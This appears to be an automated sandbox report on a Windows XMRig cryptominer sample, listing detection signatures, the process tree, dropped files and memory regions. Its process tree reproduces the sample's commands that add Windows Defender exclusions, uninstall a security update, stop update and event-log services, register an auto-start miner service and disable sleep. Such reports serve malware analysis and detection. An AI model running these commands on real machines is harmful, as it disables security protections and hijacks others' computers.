Analysis

  • max time kernel
    120s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2024, 03:45

General

  • Target
    05ff080fef4ad3efec227a360f3ffe15dbfe16c5f456206f162739e8b5d78bc2N.exe
  • Size 5.5MB
  • Sample241027-ea47wa1phw
  • SHA256 05ff080fef4ad3efec227a360f3ffe15dbfe16c5f456206f162739e8b5d78bc2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\05ff080fef4ad3efec227a360f3ffe15dbfe16c5f456206f162739e8b5d78bc2N.exe
    "C:\Users\Admin\AppData\Local\Temp\05ff080fef4ad3efec227a360f3ffe15dbfe16c5f456206f162739e8b5d78bc2N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2020
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2060
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3468
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1272
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1784
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:3368
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3128
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4024
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:1720
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        PID:4536
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4344
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4336
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3932
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:4312
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3944
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:2628
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:1472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\05ff080fef4ad3efec227a360f3ffe15dbfe16c5f456206f162739e8b5d78bc2N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3056
      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1612
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4904
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:1172
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:1776
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:3240
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:2788
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:1064
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:3068
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2528
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2060
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1780
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3312
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:4460
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3456

          Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                lutlgidagtja.exe

                • Path C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
                • Size 5.5MB
                • SHA256 05ff080fef4ad3efec227a360f3ffe15dbfe16c5f456206f162739e8b5d78bc2
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_ab54zrwu.gnt.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ab54zrwu.gnt.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/2060-0-0x00007FF8662A3000-0x00007FF8662A5000-memory.dmp

                memory/2060-6-0x000001E3663F0000-0x000001E366412000-memory.dmp

                memory/2060-11-0x00007FF8662A0000-0x00007FF866D61000-memory.dmp

                memory/2060-12-0x00007FF8662A0000-0x00007FF866D61000-memory.dmp

                memory/2060-15-0x00007FF8662A0000-0x00007FF866D61000-memory.dmp

                memory/3456-58-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-60-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-72-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-73-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-71-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-69-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-68-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-57-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-59-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-64-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-56-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-61-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-63-0x0000022924C00000-0x0000022924C20000-memory.dmp

                memory/3456-62-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-65-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-67-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/3456-66-0x0000000140000000-0x0000000140848000-memory.dmp

                memory/4460-52-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/4460-48-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/4460-55-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/4460-49-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/4460-50-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/4460-51-0x0000000140000000-0x000000014000E000-memory.dmp

                memory/4904-38-0x0000016AB3B10000-0x0000016AB3BC5000-memory.dmp

                memory/4904-44-0x0000016AB3D60000-0x0000016AB3D66000-memory.dmp

                memory/4904-43-0x0000016AB3D30000-0x0000016AB3D38000-memory.dmp

                memory/4904-37-0x0000016AB3AF0000-0x0000016AB3B0C000-memory.dmp

                memory/4904-45-0x0000016AB3D70000-0x0000016AB3D7A000-memory.dmp

                memory/4904-42-0x0000016AB3D80000-0x0000016AB3D9A000-memory.dmp

                memory/4904-41-0x0000016AB3D20000-0x0000016AB3D2A000-memory.dmp

                memory/4904-40-0x0000016AB3D40000-0x0000016AB3D5C000-memory.dmp

                memory/4904-39-0x0000016AB3BD0000-0x0000016AB3BDA000-memory.dmp